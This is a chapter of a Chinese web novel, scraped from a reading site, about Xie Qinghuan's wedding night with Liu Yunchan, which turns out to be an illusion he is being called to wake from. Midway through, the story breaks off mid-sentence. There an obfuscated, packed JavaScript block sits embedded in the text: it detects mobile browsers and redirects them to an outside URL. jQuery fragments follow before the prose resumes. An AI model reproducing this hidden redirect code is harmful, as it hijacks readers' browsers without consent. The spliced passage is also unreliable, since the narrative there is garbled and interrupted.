123读书网 > 都市小说 > 给高岭之花下情蛊后 > 14. 合卺酒
    锣鼓声又喧天而起,夹杂着宾客们的哄笑与道贺。


    谢清欢像是被无形的丝线牵引着行动,指尖僵硬地抬起,堪堪触到新娘子的手腕。


    触手是极温热的,极柔软的。


    无论他想不想,那细腻的触感隔着一层薄而美的喜服,攀上他整个掌心,烫得他指尖微微发僵。


    那点暖意渗进来,让他下意识地想缩手,却又反抗不得。只好听天由命地,任自己动作,继续婚喜事。


    腕间稍一施力,臂膀微弯,衣袖堆折起褶。谢清欢便一个打横抱起,将新娘子稳稳拥入怀中。


    抱起的那个刹那,便觉他这新娘子很轻,像是脆弱的泡沫,一吹就散在天地间。


    她身子还微微一颤,攥着裙摆的力道又重了几分。


    想来,新娘子也未预料到他竟然一点也不遵循礼法,在大庭广众、众目睽睽之下就把她抱起,心中自是又惊又羞。


    谢清欢此刻正抱着他现在名义上的新娘子,那火红的嫁衣似燃着的云霞,映得周遭的一切都暖融融的。


    窗棂上贴着的双喜字、檐下高悬的红灯笼……满院的喜气洋洋几乎要洋溢出来。


    可他不觉高兴,整个人像是被什么东西空落落悬着,脚下的红毯软得出奇,行走其间如踏云端,踩着地面行走却没有实感。他疑心自己已经不是在走路了,而是飘着过来的。


    直到现在,也未有实感,但倒是有个好消息,他能动弹了,能掌控自己的行动了。


    一切都如梦一般。


    但这梦,又该如何醒来?


    谢清欢如提线木偶般拥着怀中温软,径直踏入婚房,喜被红纱。他将怀中的女人轻轻放在铺着鸳鸯喜被的软床边之后,他才直立起身,从上往下将她看去。


    这一抹红色实在太过夺目,红得炽烈,红得霸道。谢清欢越看便越觉心口沉闷。


    “夫君?”


    他久久不言,床边静坐的女子似是察觉到他的僵滞,轻轻动了动,覆顶的红绸盖头下,传来一声轻柔低语,似珠落玉盘,又似春溪潺潺。


    她不说话倒还好,一开口,便如惊雷乍落,惊得谢清欢僵立在原地。


    这声音……清冽如山巅松风拂去,却又柔软似江南被日光晒暖的春水,两种截然不同的韵致奇妙地糅合在一处。


    这音色,他再熟悉不过了。


    谢清欢俯身,指尖搭上红盖头的边缘处。锦缎的料子滑腻腻的,他险些个没拿稳,轻吐一口气,压下纷乱思绪,这才稳稳当当地捻住盖头慢慢掀起。


    烛火跳了一下,将他的影子投在墙上,歪歪扭扭的,像极了此刻他七零八落的心绪。


    盖头被缓缓掀起的瞬间,一室红光里,映出一张素净柔美的面孔。


    光洁饱满的额头,含着水光的杏眼,眉如远山含黛,眼似秋水横波,唇角噙着浅浅的笑意,端的是一副顶好顶好的相貌。


    “夫君。”他的美娇娘又轻声唤了一句。


    红盖头彻底除去,两人之间再无任何阻隔。四目相视,杏眼对着凤眸。


    谢清欢只觉浑身的血都往头顶涌,惊得连呼吸都忘了。他死死盯着眼前人,喉间像是被什么东西堵住,纵有千言万语,此刻却半个字也吐不出来了。


    是她,原来是她。


    原来不是什么素未谋面的陌生女子,而是他朝思暮想、魂牵梦萦、时时刻刻搁在心尖上的那个人。


    柳云蝉。


    此刻穿着大红嫁衣,坐在他的婚床之上,眉眼含笑、静静地望着他的人——可不就是柳云蝉么。


    “柳姑娘……”


    谢清欢终于找回他的声音,却嘶哑得连自己都吓了一跳。


    “夫君怎么唤我唤得如此生疏?”柳云蝉歪了歪头,发间金钗随着动作轻晃。


    “夫君啊,按照规矩,现在应该改口叫我娘子才是。”她尾音带着点儿娇,带着点儿俏,杏眼里水光潋滟。


    说着,她已伸出手来。那只手白皙细腻,轻轻落在他的掌心,与他十指相扣。


    她边牵着谢清欢,眼睛还灵动地眨了眨,长睫如蝶翼轻颤。整个人含羞带怯,耳边也染上一抹红,却还坚持着不移开视线,同他对视。


    新娘乌黑靓丽的长发尽数挽起,漏出一截修长纤细的脖颈,醒目的白与耳上薄粉交缠相映,很是可人。


    谢清欢几乎是不由自主地伸出手,想去碰碰柳云蝉的脸,捏捏她的耳垂。


    还不待他有动作,柳云蝉已经轻笑着抬手,用指尖轻轻点了一下他的额头:“盖头都掀了,是不是该喝合卺酒了。”


    她说着,起身走向放着酒壶酒杯的桌子,身姿摇曳,大红嫁衣的裙摆长长拖在地面。烛光给她周身镀上了一层毛茸茸的金边。


    “夫君现在发什么呆呢?还不快过来?”柳云执起酒壶,斟满两杯清澈的酒液,回头看他,眼波流转,带着些许嗔怪。


    谢清欢如梦初醒,顺着她言,走到她身边,取过她手间刚斟好的美酒。


    方才困惑、不解、不安的心情全然化成更加浓厚激烈的情绪,在他心尖缠绕撕扯,搅了个天翻地覆。


    合卺酒。夫妻共饮此杯,从此便是同林鸟,往后余生同甘共苦,风雨同舟,合二为一。


    在天愿为比翼之鸟,振翅齐飞;在地愿做连理之枝,缠绵共生。自此年年岁岁,唯愿白首不相离。


    柳云蝉执杯,仰头望他:“夫君,喝了这杯酒,你我可就是真正的夫妻了。”


    她的眼睛近在咫尺,里面清清楚楚地倒映出谢清欢此刻染上霞色的、俊秀如玉的面容。


    谢清欢的喉结轻轻滚动了一下。


    凡间尘子若要论女子的美丽高低,或许难有一个统一的答案,毕竟众口难调,人人各有各的偏好。


    有人会喜欢身材娇小、甜美可人的女子,也有人会喜欢身形高挑,淡然清冷的女子。


    有人钟意纤细瘦削的美,爱其单薄的肩、伶仃的锁骨、细柳般的腰;亦有人偏爱丰腴秾艳的美,恋其圆润的膀、绵软的胸脯、满月般的脸颊。


    可要是论女子一生之中最美的时刻是什么时?那当之无愧的,一百人里恐有百八十人会不假思索地脱口而出:


    “成亲那天是女子最美的时刻。”


    而谢清欢就是那百八十以外的人,一向对这个说法不以为意。这个问题太过无趣,旁人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092220|195479||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的美与丑,与他何干?他不在意长相,看人不看脸,整洁便好。


    直到现在他才改变认知,认同这个观点。


    成亲那天果然是女子最美的时刻。


    此刻,她眼波里,那双清凌凌的眸子映着红烛暖光,漾着细碎的星子。


    他见过柳云蝉平日简约模样,素衣白裙,眉眼间带着几分山野间的清冽,像崖边的一株百合,挺拔又孤峭。


    见过柳云蝉着红裙的模样,艳红的裙裾曳地,唇瓣缀着胭脂,娇艳似玫瑰。


    谢清欢也不曾忘却从前初见,柳云蝉最为狼狈的时刻,那时血迹污了裙带,却任显出过分的艳丽,趁得她像夜中恶鬼,摄人心魄。


    这些时刻无一例外的,他都觉着美,素衣盛装也好,狼狈不堪也罢,都比其他人更加美,更加绚丽夺目,更让人移不开眼。


    然,以上种种美,却又都不及此刻。


    不及她此刻眼波流转,带着几分忐忑,又带几分欢喜,将酒杯递到他唇边的模样。


    谢清欢抬手覆上她的手,将那杯合卺酒稳稳托住,俯身时,发间的玉簪轻晃,垂落的珠缨擦过柳云蝉的鬓角。


    手臂交缠,酒香扑鼻。


    他仰头饮尽杯中酒,酒水清冽,带着一丝甜,酒液入喉的瞬间,谢清欢看着她,声音低哑了几分:


    “往后岁岁年年,你都是我的妻。”


    交杯酒喝完,柳云蝉放下酒杯,却没有退开,反而又靠近了些,仰着俏脸,几乎贴进他怀里。


    她指甲绕着自己胸前的一缕头发,整张脸也羞透了,声音轻如蚊呐:“夫君,春宵一刻值千金呢……”


    谢清欢脑子里那点残余的理智彻底被这温柔乡击碎,手臂用力地环上她的腰,再收紧,直至将人完完全全扣进怀里。


    是可忍也,孰不可忍也!


    “春宵一刻值千金,”他重复着她的话,俯身贴近,“你既然说了这番话,我自然不敢违你心意,辜负春意。”


    他是想吻柳云蝉的。


    她的唇生得极好看,唇峰小巧圆润,唇珠浅浅地鼓着,上面沾了酒液,泛着淡淡的粉润光泽。


    看上去,比酒还要香,比酒还要甜。


    就在他的嘴唇快要触碰到那近在咫尺、泛着诱人光泽的唇瓣时——


    “谢清欢!”


    一道清冽柔软的声音响起,带着急切的担忧的语气在他脑中炸开,硬生生地划破了他昏沉的思绪。


    谢清欢停下动作,纵使他渴望的甘泉离他不过毫厘之差,也不再继续贴近。


    “夫君?好生生的怎么停了?是不是身体哪里不舒服?”


    怀中美人见谢清欢停下了动作,便疑惑地望去。伸出手,想要抚摸他的脸。


    谢清欢猛地往后一缩,避开了她的手。这下意识的躲避动作让他自己都愣住了。


    相同的声线在他耳畔回旋,皆是如出一辙的干净、柔美,却又如此截然不同。


    一个是生死一线,一个是含情脉脉。


    心绪不宁之际,不等他仔细探寻其中奥秘,那道焦急的女声再次穿透进来:


    “谢清欢!醒醒!你给我醒过来啊!”